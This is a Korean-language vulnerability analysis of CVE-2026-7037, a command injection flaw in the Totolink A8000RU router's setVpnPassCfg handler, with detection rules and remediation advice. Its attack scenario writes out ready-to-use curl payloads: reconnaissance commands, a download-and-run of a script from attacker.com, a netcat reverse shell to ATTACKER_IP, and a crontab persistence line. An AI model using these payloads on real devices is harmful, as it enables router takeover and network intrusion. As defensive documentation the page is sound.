/CVE 분석/cve-2026-7037
CRITICALCVSS 9.82026-04-26

CVE-2026-7037: Unknown (CVSS 9.8)

A security flaw has been discovered in Totolink A8000RU 7.1cu.643_b20200521. This issue affects the function setVpnPassCfg of the file /cgi-bin/cstecgi.cgi of the component CGI Handler. The manipulati...

#명령어주입#CRITICAL

Totolink A8000RU 라우터 원격 코드 실행 취약점 (CVE-2026-7037) 상세 분석

기본 원리: OS 명령어 삽입(OS Command Injection)이란

OS 명령어 삽입(OS Command Injection)은 웹 애플리케이션이 사용자로부터 입력받은 데이터를 운영체제 명령의 일부로 사용하여 실행할 때 발생하는 치명적인 취약점입니다. 이는 개발자가 사용자 입력을 제대로 검증하거나 필터링하지 않고 시스템 명령에 직접 통합할 때 발생합니다. 공격자는 이 취약점을 이용해 애플리케이션이 실행되는 서버 또는 장치의 운영체제에서 임의의 명령을 실행할 수 있습니다.

예를 들어, 웹 애플리케이션이 ping 명령어를 사용하여 IP 주소의 연결성을 확인한다고 가정해 봅시다. 개발자가 다음과 같은 방식으로 사용자 입력 IP 주소를 ping 명령에 사용한다면:

system("ping " + user_input_ip_address);

정상적인 사용자는 192.168.1.1과 같은 유효한 IP 주소를 입력하겠지만, 공격자는 192.168.1.1; cat /etc/passwd와 같이 입력하여 cat /etc/passwd 명령도 함께 실행되도록 할 수 있습니다.

취약점 상세

CVE-2026-7037은 Totolink A8000RU 라우터의 VPN 패스스루(Pass-through) 설정 기능에서 발견된 OS 명령어 삽입 취약점입니다.

항목 내용
영향 장치 Totolink A8000RU 7.1cu.643_b20200521
취약 파일 /cgi-bin/cstecgi.cgi
취약 함수 setVpnPassCfg
공격 벡터 네트워크 (원격), 인증 불필요
CVSS 점수 9.8 (CRITICAL)

setVpnPassCfg 함수는 라우터의 VPN 패스스루 기능을 설정합니다. VPN 패스스루는 PPTP, L2TP, IPSec 등의 VPN 프로토콜 트래픽이 NAT를 통과할 수 있도록 허용하는 기능입니다. 이 함수의 파라미터가 OS 명령에 직접 삽입되어 임의의 명령 실행이 가능합니다.

공격 시나리오

공격 준비

1단계: 취약한 장치 식별

공격자는 Shodan, Censys, ZoomEye 등의 인터넷 스캐닝 서비스를 이용해 인터넷에 노출된 취약한 Totolink A8000RU 장치를 식별합니다.

2단계: 페이로드 준비

공격자는 실행하고자 하는 명령어를 준비합니다:

라우터 재부팅:

curl -X POST http://TARGET_IP/cgi-bin/cstecgi.cgi \
  -d "action=setVpnPassCfg&pptp=1;reboot"

시스템 정보 수집:

curl -X POST http://TARGET_IP/cgi-bin/cstecgi.cgi \
  -d "action=setVpnPassCfg&pptp=1;id;uname -a;cat /proc/version"

악성 스크립트 다운로드 및 실행:

curl -X POST http://TARGET_IP/cgi-bin/cstecgi.cgi \
  -d "action=setVpnPassCfg&pptp=1;wget http://attacker.com/malware.sh -O /tmp/m.sh && chmod +x /tmp/m.sh && /tmp/m.sh"

3단계: 리버스 쉘 획득

# 공격자 서버에서 리스너 실행
nc -lvnp 4444

# 라우터로 리버스 쉘 페이로드 전송
curl -X POST http://TARGET_IP/cgi-bin/cstecgi.cgi \
  -d "action=setVpnPassCfg&pptp=test;nc ATTACKER_IP 4444 -e /bin/sh"

4단계: 공격 후 지속성 확보

# 라우터 크론탭에 주기적 리버스 쉘 등록
echo "*/10 * * * * nc ATTACKER_IP 4444 -e /bin/sh" >> /etc/crontabs/root

# DNS 서버 변경으로 피싱 공격 준비
uci set dhcp.@dnsmasq[0].server='ATTACKER_DNS_IP'
uci commit dhcp
/etc/init.d/dnsmasq restart

공격 후 가능한 행동

  • 트래픽 도청: ARP 스푸핑이나 DNS 하이재킹으로 내부 사용자 통신 감청
  • 자격증명 탈취: 라우터에 저장된 PPPoE, VPN, Wi-Fi 비밀번호 추출
  • 내부망 침투: 라우터를 거점으로 내부 네트워크의 다른 장치 공격
  • 봇넷 구성: DDoS 공격이나 스팸 발송에 악용
  • 암호화폐 채굴: 라우터 리소스를 이용한 크립토마이닝

탐지 방법

네트워크 트래픽 모니터링

# Snort/Suricata IDS 탐지 규칙
alert http any any -> $HOME_NET any (
  msg: "CVE-2026-7037 Totolink setVpnPassCfg Command Injection";
  content: "setVpnPassCfg";
  http_client_body;
  pcre: "/pptp=[^&\s]*[;|&\$\`]/";
  sid: 20267037; rev:1;
)

시스템 이상 징후

  • 라우터 CPU 사용률 비정상적 급증
  • 예상치 못한 외부 IP로의 지속적 TCP 연결
  • DNS 쿼리 패턴 변화
  • /tmp 디렉토리에 새로운 실행 파일 생성

라우터 관리 콘솔 점검

# 비정상적인 프로세스 확인
ps | grep -v "\[k"

# 활성 네트워크 연결 확인
netstat -an | grep ESTABLISHED

# crontab 확인
cat /etc/crontabs/root

대응 방법

즉각적인 조치

1. 긴급 펌웨어 업데이트 Totolink 공식 웹사이트(www.totolink.net)에서 A8000RU의 최신 펌웨어를 다운로드하여 업데이트합니다. 업데이트 전 현재 설정을 백업하는 것이 좋습니다.

2. 원격 관리 비활성화 라우터 설정 → 고급 설정 → 원격 관리에서 WAN 측 접근을 즉시 비활성화합니다.

3. 방화벽 규칙 추가

# 외부(WAN)에서 관리 포트 접근 완전 차단
iptables -I INPUT -i eth0.2 -p tcp -m multiport --dports 80,443,8080,8443 -j DROP

장기적 보안 강화

  • 정기 업데이트: 제조사 보안 공지 구독 및 월 1회 이상 펌웨어 업데이트 점검
  • 장치 교체: 지원이 종료된 구형 장치는 보안이 강화된 최신 모델로 교체
  • 네트워크 분리: 중요 서버와 일반 사용자 네트워크를 VLAN으로 분리
  • 보안 감사: 분기별 네트워크 장치 취약점 스캔 실시

참고 자료